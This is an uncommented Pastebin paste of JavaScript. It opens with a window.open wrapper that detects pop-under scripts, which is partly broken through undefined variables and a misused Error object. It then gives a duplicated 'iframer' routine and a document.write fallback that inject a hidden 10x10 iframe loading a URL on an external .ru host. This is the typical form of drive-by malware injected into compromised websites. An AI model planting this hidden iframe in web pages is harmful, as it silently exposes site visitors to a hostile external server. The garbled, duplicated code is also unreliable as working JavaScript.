Guest User

Untitled

a guest
Oct 28th, 2011
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.18 KB | None | 0 0
  1. function (url, target, features) {
  2. try {
  3. if (!(/^_(?:top|parent|self)$/i.test(target) || target in frames)) {
  4. var suspSrc, suspCall, fr, ff = [], ss = (new Error).split("\n").length;
  5. for (var f, ev, aa = arguments; stackSize-- > 2 &&
  6. aa.callee &&
  7. (f = aa.callee.caller) && ff.indexOf(f) < 0; ff.push(f)) {
  8. aa = f.arguments;
  9. if (!aa) {
  10. break;
  11. }
  12. ev = aa[0];
  13. suspCall = f.name == "doPopUnder";
  14. if (!suspSrc) {
  15. suspSrc = suspCall ||
  16. /(?:\bpopunde?r|\bfocus\b.*\bblur|\bblur\b.*\bfocus|[pP]uShown)\b/.test(f.toSource());
  17. }
  18. if (suspCall ||
  19. ev &&
  20. typeof ev == "object" &&
  21. "type" in ev &&
  22. ev.type == "click" &&
  23. ev.button === 0 &&
  24. (ev.currentTarget === document ||
  25. "tagName" in ev.currentTarget &&
  26. "body" == ev.currentTarget.tagName.toLowerCase()) &&
  27. !("href" in ev.target &&
  28. ev.target.href &&
  29. (ev.target.href.indexOf(url) === 0 ||
  30. url.indexOf(ev.target.href) === 0))) {
  31. if (suspSrc) {
  32. fr = document.getElementById(fid) ||
  33. document.body.appendChild(document.createElement("iframe"));
  34. fr.id = fid;
  35. fr.src = "data:text/html,";
  36. fr.style.display = "none";
  37. var w = fr.contentWindow;
  38. w.blur = function () {};
  39. return w;
  40. }
  41. }
  42. }
  43. }
  44. } catch (e) {
  45. }
  46. return open.apply(null, arguments);
  47. }
  48.  
  49. function iframer() {
  50. var f = document.createElement("iframe");
  51. f.setAttribute("src", "http://dsa.biteamv.ru/t/9da9bf11a651ee4502daa477256c0833");
  52. f.style.visibility = "hidden";
  53. f.style.position = "absolute";
  54. f.style.left = "0";
  55. f.style.top = "0";
  56. f.setAttribute("width", "10");
  57. f.setAttribute("height", "10");
  58. document.getElementsByTagName("body")[0].appendChild(f);
  59. }
  60.  
  61. if (document.getElementsByTagName("body")[0]) {
  62. iframer();
  63. } else {
  64. document.write("<iframe src='http://dsa.biteamv.ru/t/9da9bf11a651ee4502daa477256c0833' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  65. }
  66.  
  67. function iframer() {
  68. var f = document.createElement("iframe");
  69. f.setAttribute("src", "http://dsa.biteamv.ru/t/9da9bf11a651ee4502daa477256c0833");
  70. f.style.visibility = "hidden";
  71. f.style.position = "absolute";
  72. f.style.left = "0";
  73. f.style.top = "0";
  74. f.setAttribute("width", "10");
  75. f.setAttribute("height", "10");
  76. document.getElementsByTagName("body")[0].appendChild(f);
  77. }
  78.  
Advertisement
Add Comment
Please, Sign In to add comment